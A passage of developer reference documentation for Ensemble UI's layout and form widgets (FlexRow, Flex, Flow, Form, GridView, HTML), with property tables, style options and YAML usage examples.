FlexRow or FlexColumn. Determines the space allocated to this widget relative to its siblings. | -| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | -| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | -| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | -| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | -| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | -| alignment | Alignment | Aligns this widget relative to its parent. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | -| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | -| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | -| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | - -#### Box Styles (Inherited) - -[box](_snippets/box-styles.md ':include') - - -#### Base Styles (Inherited) - -[base](_snippets/base-styles.md ':include') - ---- - -# FlexRow - -FlexRow is designed to lay out child widgets horizontally and proportionally from the available space given by its parent. By default, flexRow assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. - -## Best Practices -- Use FlexRow when you need a horizontal layout with proportional space distribution among the children. -- **Avoid** using FlexRow in a scrollable parent, such as scrollable Row, without a fixed width, as it will lead to layout issues. FlexRow and its children need to be constrained to a definite size to properly calculate the flex distribution. -- **Avoid** using FlexRow in another Row. Row does not constrain its children's dimensions, which FlexRow requires to calculate the flex distribution. Instead consider giving the FlexRow a width or use all FlexRow(s) up the parent chain. - -## Key Concepts - -- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexRow have a flex value of 1 unless specified. -- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. - - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). - - `flexible`: The child occupies only the space it needs, up to its flex factor. - - `none`: The child occupies the space it needs (flex factor is ignored). -- When laying out its children, FlexRow follows this specific order: - - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). - - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. - - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. - -## Caveats -- **Row height**: Note that setting a height for a FlexRow acts more like a maximum height constraint. The FlexRow determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. - If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. - -## Usage - -A simple FlexRow with three child widgets, each taking up equal space (all have flex=1 by default): - -```yaml -FlexRow: - children: - - Text: - text: Child 1 - - Text: - text: Child 2 - - Text: - text: Child 3 -``` - -Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": - -```yaml -FlexRow: - children: - - Text: - text: Child 1 # default flex=1 since not specified - - Text: - text: Child 2 - styles: - flex: 2 - - Text: - text: Child 3 - styles: - flex: 1 -``` - -Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): - -```yaml -FlexRow: - children: - - Text: - text: Flexible Child - styles: - flexMode: flexible - - Text: - text: Expanded Child - styles: - flex: 2 - flexMode: expanded - -``` - -## Related -- See [FlexColumn](#flexcolumn) for a similar layout in the vertical direction. -- See [Row](#column-widget) for a more generic and scrollable container for laying out children horizontally. - -## Reference -#### Properties - -| Property | Type | Description | -|----------------------------------|----------------------------------------|----------------------------------------------------------| -| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | -| onTap | Action | An action that is triggered when the widget is tapped. | -| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | -| styles | object | [See properties](#styles) | - -#### Styles - -| Style Property | Type | Description | -|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| -| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | -| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | -| mainAxisSize | MainAxisSize | How to size the container along the main axis. | -| gap` | integer | The gap between child widgets, in logical pixels. | -| fontFamily | string | The font family to use for text within the widget. | -| fontSize | integer | The size of the font to use for text within the widget. | -| width | integer | The width of the widget, in logical pixels. | -| height | integer | The height of the widget, in logical pixels. | -| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | -| boxShadow | BoxShadow | Shadow properties for the widget. | -| borderRadius | BorderRadius | The radius of the widget's corners. | -| borderColor | [Color](#Color) | The color of the widget's border. | -| borderWidth | integer | The width of the widget's border, in logical pixels. | -| backgroundColor | [Color](#Color) | The widget's background color. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| padding | Padding | Padding inside the widget, affecting its child widgets. | -| margin | Margin | Margin outside the widget, affecting its position relative to others. | -| flex | integer | Applicable only inside FlexRow or flexRow. Determines the space allocated to this widget relative to its siblings. | -| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | -| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | -| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | -| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | -| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | -| alignment | Alignment | Aligns this widget relative to its parent. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | -| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | -| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | -| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | - -#### Box Styles (Inherited) - -[box](_snippets/box-styles.md ':include') - - -#### Base Styles (Inherited) - -[base](_snippets/base-styles.md ':include') - ---- - -# Flex - -The Flex Widget is a versatile layout option that dynamically switches between Row or Column based on the direction property, offering flexible and responsive designs that adapt to different screen sizes. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :------------------------------- | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | -| item-template | object | [See properties](#item-template) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| direction | string | Lay out the children vertically or horizontally | -| mainAxis | string | Control how to lay out the children, in the direction specified by the 'direction' attribute. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | -| crossAxis | string | Control the alignment of the children on the secondary axis (depending on the 'direction' attribute). `start` `center` `end` `stretch` `baseline` | -| mainAxisSize | string | If 'max', stretch the Flex to fill its parent's dimension (width or height based on the direction). Otherwise (min) the Flex's dimension will be its children's combined. | -| scrollable | boolean | Set to true so content can scroll vertically or horizontally as needed | -| autoFit | boolean | Explicitly match the width or height to the largest child's size, but only if the parent does not already assign a width or height. This attribute is useful for sizing children who don't have a width or height (e.g Divider) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# Flow - -The Flow Widget is a container that wraps its children, with a default horizontal direction that can be customized to vertical, allowing for flexible and fluid layouts within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :--------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of widgets | -| direction | string | The main direction to lay out the children before wrapping | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| mainAxis | string | Control our children's layout vertically | -| gap | integer | The gap between the children in the main direction | -| lineGap | integer | The gap between the lines if the children start wrapping | -| maxWidth | integer | Sets the maximum width allowed for an element. | -| maxHeight | integer | Sets the maximum height allowed for an element. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - ---- - -# Form widget - -Form is a wrapper widget for inputs such as TextInput, Dropdown, Checkbox, etc. Form enables you to perform validation and styling on inputs inside the Form. - -[Detailed Example of validating/submitting a Form from inside a form or outside](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) - -### Validate and Submit - -#### Submit a Form from a Button inside a Form -To trigger validation of a Form's children inputs, add a Button widget with the property of `validateForm: true`. In this example, following validations will be performed when the submit button is pressed. If `validateForm: true`, Form will be submitted only if validation passes. - -```yaml -View: - body: - Form: - onSubmit: - invokeAPI: - name: addAccount - inputs: - name: ${name.value} - email: ${email.value} - onResponse: - # perform additional action here - onError: - # perform additional action here - children: - - TextInput: - id: name - label: First and last name - required: true - - TextInput: - id: email - label: Email - required: true - inputType: email - - Button: - label: Submit - validateForm: true - submitForm: true - -API: - addAccount: - inputs: - - name - - email - method: POST - uri: https://sample.api/user - body: - name: ${name} - email: ${email} -``` -#### Validate or Submit a Form from outside the Form -Detailed Example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) This examples shows how to validate/submit a form from a sticky button in the footer. This is a common pattern in mobile apps. - -By default, when `Form.submit()` is called, it first called `Form.validate()` and calls submit only if the validation succeeds (i.e. all form fields are in valid state. - -Following is a snippet from the example above - -```yaml - footer: - styles: - backgroundColor: white - children: - - Button: - styles: - backgroundColor: black - borderRadius: 40 - padding: 20 - label: Submit - onTap: |- - basicForm.validate(); - complexForm.submit(); -``` - -### Styling - -You can control the styling of inputs' label at the Form level, by setting `labelPosition`, `labelMaxWidth`, and `labelOverflow` properties under Form's style. - -Use `labelStyle` to control the detailed styling of all the labels. Note that an Input widget's own labelStyle will take precedence over the Form's labelStyle. - -```yaml -View: - body: - Form: - styles: - labelPosition: start - labelMaxWidth: 100 - labelOverflow: clip - # all labels will have a bolder weight - labelStyle: - fontWeight: w600 - children: - - TextInput: - label: Name - required: true - - TextInput: - label: email - required: true - inputType: email - styles: - # setting this will ignore the Form's labelStyle - labelStyle: - color: red - - Button: - label: Submit - validateForm: true -``` - -## Properties - -| Property | Type | Description | -| :------- | :------ | :------------------------------------------------------------------------ | -| enabled | boolean | Enables or disables the interactivity and input functionality of the Form | -| onSubmit | action | Action to execute when the form is submitted | -| children | array | List of widgets | -| styles | object | [see properties](#styles) | - -## Styles - -| Property | Type | Description | -|:--------------|:-----------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------| -| labelPosition | string | Where the position the FormField's label `top` `start` `none` | -| labelOverflow | string | Treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | -| labelMaxWidth | integer | Cap the label's width, useful on larger screen. This property only works on labelPosition=start. | -| labelStyle | [TextStyle](#TextStyle) | Styling for the label | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| gap | integer | Vertical gap to insert between the children (default is 10) | - -## Methods - -| Function | Return Type | Description | -|:-----------|:------------|:-------------------------------------------------------------------------------------------------------| -| validate() | boolean | validates each formfield inside the Form. Returns true if all the fields are valid and false otherwise | -| submit() | none | submits the form | - ---- - -# GridView - -The GridView Widget empowers you to render grid-based layouts, enabling the display of content in a structured and organized manner with customizable grid configurations within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :-------------------------------------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above | -| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| horizontalTileCount | | The number of horizontal tiles (max 5) to show. If not specified, the number of tiles will automatically be determined by the screen size. You may also specify a single number (for all breakpoints), three numbers (for small, medium, large breakpoints), or five numbers (xSmall, small, medium, large, xLarge). | -| horizontalGap | integer | The gap between the horizontal tiles if there are more than one (default: 10). | -| verticalGap | integer | The gap between the vertical tiles if there are more than one (default: 10). | -| itemHeight | integer | Set a fixed height for each item in the tile. If each tile item comprises of many widgets vertically, setting this attribute may require you to stretch (expand) at least one inner widget. | -| itemAspectRatio | number | Instead of itemHeight, you can set the tile's dimension as a ratio of (item width / item height). For example, a tile with 3x width and 2x height is 3/2 = 1.5. This attribute will be ignored if itemHeight is set. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# HTML widget - -The HTML Render Widget enables seamless rendering of HTML code within your application, providing a dynamic and interactive experience for users. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------ | -| text | string | Enter the HTML text | -| cssStyles | List of [cssStyle](#cssStyle) | Enter the CSS to interact with HTML | - -### cssStyle - -| Property | Type | Description | -| :------- | :----- | :------------------ | -| selector | String | Equivalent to the CSS selector. To select any given tag using either tag name, class name or id of that tag | -| properties | [properties](#properties) | The css properties to apply to a selected tag. | - -### properties - -| Property | Type | Description | -| :--------------------- | :------------ | :------------------------------------------------ | -| backgroundColor | string | Sets the background color of an element. Useful for emphasizing or styling page sections. | -| color | string | Defines the text color within an element, impacting readability and visual hierarchy. | -| counterIncrement | string | Specifies the increment value for counters, facilitating dynamic list numbering or tracking. | -| counterReset | string | Determines the reset value for counters, useful for restarting or initializing counting sequences. | -| direction | string | Sets the text direction, crucial for proper alignment in multilingual content. | -| display | string | Specifies the box model used for an element, influencing its layout and rendering behavior. | -| fontFamily | string | Defines the font family for text, allowing 